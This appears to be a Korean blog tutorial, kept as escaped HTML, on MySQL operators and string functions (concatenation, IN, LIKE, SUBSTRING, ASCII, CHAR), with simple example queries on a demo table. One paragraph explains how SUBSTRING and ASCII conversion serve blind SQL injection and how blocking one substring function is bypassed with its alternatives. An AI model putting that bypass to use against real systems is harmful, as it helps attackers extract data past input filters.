&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1162&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CkgP1/btsKKGp1Eqh/tYwTI326onQCK3X0rGgnNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CkgP1/btsKKGp1Eqh/tYwTI326onQCK3X0rGgnNk/img.png&quot; data-alt=&quot;그림24 - 연결 연산자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CkgP1/btsKKGp1Eqh/tYwTI326onQCK3X0rGgnNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCkgP1%2FbtsKKGp1Eqh%2FtYwTI326onQCK3X0rGgnNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1162&quot; height=&quot;416&quot; data-origin-width=&quot;1162&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림24 - 연결 연산자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피연산자 1과 2가 문자열이 사용될 때 MySQL에서 공백으로 연산자를 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select 'te' 'st'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test 문자열 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where name='gue' 'st';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 name이 guest인 데이터 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select concat('adm','inis','trator');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; adm inis trator 문자열 합쳐서 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;409&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FC5XR/btsKL5I31rN/eawGA9leI7CDoXIfkaDGvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FC5XR/btsKL5I31rN/eawGA9leI7CDoXIfkaDGvK/img.png&quot; data-alt=&quot;그림25 - 연결 연산자 사용하여 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FC5XR/btsKL5I31rN/eawGA9leI7CDoXIfkaDGvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFC5XR%2FbtsKL5I31rN%2FeawGA9leI7CDoXIfkaDGvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;409&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;409&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림25 - 연결 연산자 사용하여 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;IN 연산자&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1221&quot; data-origin-height=&quot;514&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOXPHP/btsKLqtigbw/gZRtVSWWTNuwBGhaOOc0r0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOXPHP/btsKLqtigbw/gZRtVSWWTNuwBGhaOOc0r0/img.png&quot; data-alt=&quot;그림26 - IN 연산자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOXPHP/btsKLqtigbw/gZRtVSWWTNuwBGhaOOc0r0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOXPHP%2FbtsKLqtigbw%2FgZRtVSWWTNuwBGhaOOc0r0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1221&quot; height=&quot;514&quot; data-origin-width=&quot;1221&quot; data-origin-height=&quot;514&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림26 - IN 연산자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SELECT name, email FROM member WHERE id in('admin','guest');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;= SELECT name, email FROM member WHERE id='admin' or id='guest';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; OR 연산자를 여러 개를 사용하는 것 보다, IN 연산자를 사용하면 가독성이 좋으며 실행속도도 더 빠르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SELECT name, email FROM member WHERE id not in('admin','guest');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; id에 admin과 guest를 제외한 레코드를 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where name in ('administrator', 'guest');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 name이 administrator 또는 guest인 데이터를 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where name='administrator' or name='guest';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 name이 administrator 또는 guest인 데이터를 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where name not in ('administrator', 'guest');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 name이 administrator 또는 guest가 아닌 데이터를 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhB7xM/btsKMMveR7Q/AXZ9wtE4rObtM03uWyiuv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhB7xM/btsKMMveR7Q/AXZ9wtE4rObtM03uWyiuv1/img.png&quot; data-alt=&quot;그림27 - IN 연산자 활용하여 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhB7xM/btsKMMveR7Q/AXZ9wtE4rObtM03uWyiuv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhB7xM%2FbtsKMMveR7Q%2FAXZ9wtE4rObtM03uWyiuv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;854&quot; height=&quot;476&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;476&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림27 - IN 연산자 활용하여 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;LIKE 연산자&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;268&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JX99v/btsKL684Czt/QIwdWKUHKOKHmj1dkeozf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JX99v/btsKL684Czt/QIwdWKUHKOKHmj1dkeozf0/img.png&quot; data-alt=&quot;그림28 - LIKE 연산자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JX99v/btsKL684Czt/QIwdWKUHKOKHmj1dkeozf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJX99v%2FbtsKL684Czt%2FQIwdWKUHKOKHmj1dkeozf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;783&quot; height=&quot;268&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;268&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림28 - LIKE 연산자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LIKE 연산자 = 부분적으로 알고 있는 문자열 패턴에 대해 검색할 수 있는 연산자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서비스 검색 기능에 많이 사용되며, 일부 문자만 알아도 검색이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;% &amp;rarr; 와일드카드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where name like '%admin%';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블의 name 컬럼에 admin 문자열이 포함된 데이터 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where name like 'gu_st';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블의 name 컬럼에 gu_st 만 알고 특정 문자열을 모를 때 데이터 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where email like '%@test.com';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;rarr; member 테이블의 email 컬럼에&lt;span&gt; test.com으로 끝나는 이메일 주소를 가진 데이터 출력&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;629&quot; data-origin-height=&quot;474&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2j4mZ/btsKMMIK7B9/1r3mpJDMVlIqiUIbDuxevk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2j4mZ/btsKMMIK7B9/1r3mpJDMVlIqiUIbDuxevk/img.png&quot; data-alt=&quot;그림29 - LIKE 연산자 사용하여 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2j4mZ/btsKMMIK7B9/1r3mpJDMVlIqiUIbDuxevk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2j4mZ%2FbtsKMMIK7B9%2F1r3mpJDMVlIqiUIbDuxevk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;629&quot; height=&quot;474&quot; data-origin-width=&quot;629&quot; data-origin-height=&quot;474&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림29 - LIKE 연산자 사용하여 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;함수&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;문자열 함수&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;390&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3hhsF/btsKMOUbVNl/Dxl9URkAL8ombvfwzCQBsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3hhsF/btsKMOUbVNl/Dxl9URkAL8ombvfwzCQBsk/img.png&quot; data-alt=&quot;그림30 - 문자열 함수&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3hhsF/btsKMOUbVNl/Dxl9URkAL8ombvfwzCQBsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3hhsF%2FbtsKMOUbVNl%2FDxl9URkAL8ombvfwzCQBsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;821&quot; height=&quot;390&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;390&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림30 - 문자열 함수&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SUBSTRING - 문자열을 자를 때 사용하는 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SUBSTRB - Byte 단위로 자르는 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SUBSTRING은 SQL Injection 공격 시 많이 사용되는 함수이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Blind based Injection 에서 문자열 하나하나 추출하여 ASCII 코드로 변환 후 비트 연산 후 해당 문자를 추론하는 등 자주 사용된다. 또한 MySQL은 3개의 함수를 사용할 수 있으며, 1개의 함수를 block 해도 나머지 2개 함수로 우회가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select substring('test', 1, 1);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test 문자열의 첫번째 문자에서 1개 글자 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select substring('test', 2, 1);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test 문자열의 두번째 문자에서 1개 글자 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select substring('test', 3, 1);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test 문자열의 세번째 문자에서 1개 글자 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select substring('test', 2, 3);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test 문자열의 두번째 문자에서 3개 글자 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;519&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lRt4n/btsKMjmQHXf/VUTBwS6P0Ze3dGkuBWdFxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lRt4n/btsKMjmQHXf/VUTBwS6P0Ze3dGkuBWdFxK/img.png&quot; data-alt=&quot;그림31- 문자열 함수로 문자열 자르기(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lRt4n/btsKMjmQHXf/VUTBwS6P0Ze3dGkuBWdFxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlRt4n%2FbtsKMjmQHXf%2FVUTBwS6P0Ze3dGkuBWdFxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;519&quot; height=&quot;550&quot; data-origin-width=&quot;519&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림31- 문자열 함수로 문자열 자르기(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select substr('test', 1, 3);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;rarr;&lt;span&gt; test 문자열의 첫번째 문자에서 3개 글자 출력 &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select mid('test', 1, 3);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;rarr;&lt;span&gt; test 문자열의 첫번째 문자에서 3개 글자 출력 &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WXm1e/btsKMNugfAV/NVFG2NbRU5xkMIkaKJPirk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WXm1e/btsKMNugfAV/NVFG2NbRU5xkMIkaKJPirk/img.png&quot; data-alt=&quot;그림32 - 문자열 함수로 문자열 자르기(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WXm1e/btsKMNugfAV/NVFG2NbRU5xkMIkaKJPirk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWXm1e%2FbtsKMNugfAV%2FNVFG2NbRU5xkMIkaKJPirk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;507&quot; height=&quot;286&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;286&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림32 - 문자열 함수로 문자열 자르기(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;문자, 아스키 코드 변환 함수&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;341&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3p1Xk/btsKLaxvuhR/EXwe9iEz0ytfHFPUjcFE21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3p1Xk/btsKLaxvuhR/EXwe9iEz0ytfHFPUjcFE21/img.png&quot; data-alt=&quot;그림33 - 문자, 아스키 코드 변환 함수&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3p1Xk/btsKLaxvuhR/EXwe9iEz0ytfHFPUjcFE21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3p1Xk%2FbtsKLaxvuhR%2FEXwe9iEz0ytfHFPUjcFE21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;341&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;341&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림33 - 문자, 아스키 코드 변환 함수&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ASCII 코드 &amp;rarr; 문자 인코딩 기술&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터는 0,1 이진수만 식별 가능한데, 문자열을 컴퓨터가 인식할 수 있도록 해주는 코드가 ASCII 코드이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select ascii('a');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; a 문자열을 ASCII 코드로 변환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select bin(ascii('a'));&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; a 문자열을 ASCII 코드로 변환 후 이진수로 변환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select ascii(substr('test', 1, 1));&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test 문자열의 첫번째 문자에서 1개 글자 출력 후 ASCII 코드로 변환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select ascii(substr('test' , 2, 1));&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test 문자열의 두번째 문자에서 1개 글자 출력 후 ASCII 코드로 변환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select ascii(substr('test', 3, 1));&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test 문자열의 세번째 문자에서 1개 글자 출력 후 ASCII 코드로 변환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select bin(ascii(substr('test', 3, 1)));&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test 문자열의 세번째 문자에서 1개 글자 출력 후 ASCII 코드로 변환 후 이진수로 변환&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;802&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OH0Jr/btsKNpTXLtc/ZYrQiTVoJBkHNN0PYrWw8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OH0Jr/btsKNpTXLtc/ZYrQiTVoJBkHNN0PYrWw8K/img.png&quot; data-alt=&quot;그림34 - 아스키 코드 변환하여 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OH0Jr/btsKNpTXLtc/ZYrQiTVoJBkHNN0PYrWw8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOH0Jr%2FbtsKNpTXLtc%2FZYrQiTVoJBkHNN0PYrWw8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;563&quot; height=&quot;802&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;802&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림34 - 아스키 코드 변환하여 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CHAR 함수 &amp;rarr; ASCII 코드에서 문자열로 변환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select char(97);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ASCII 코드 97을 문자열로 변환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select concat(char(97), char(97));&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 2개의 ASCII 코드 97을 문자열로 변환 후 concat 함수로 합쳐서 출력&lt;/p&gt;
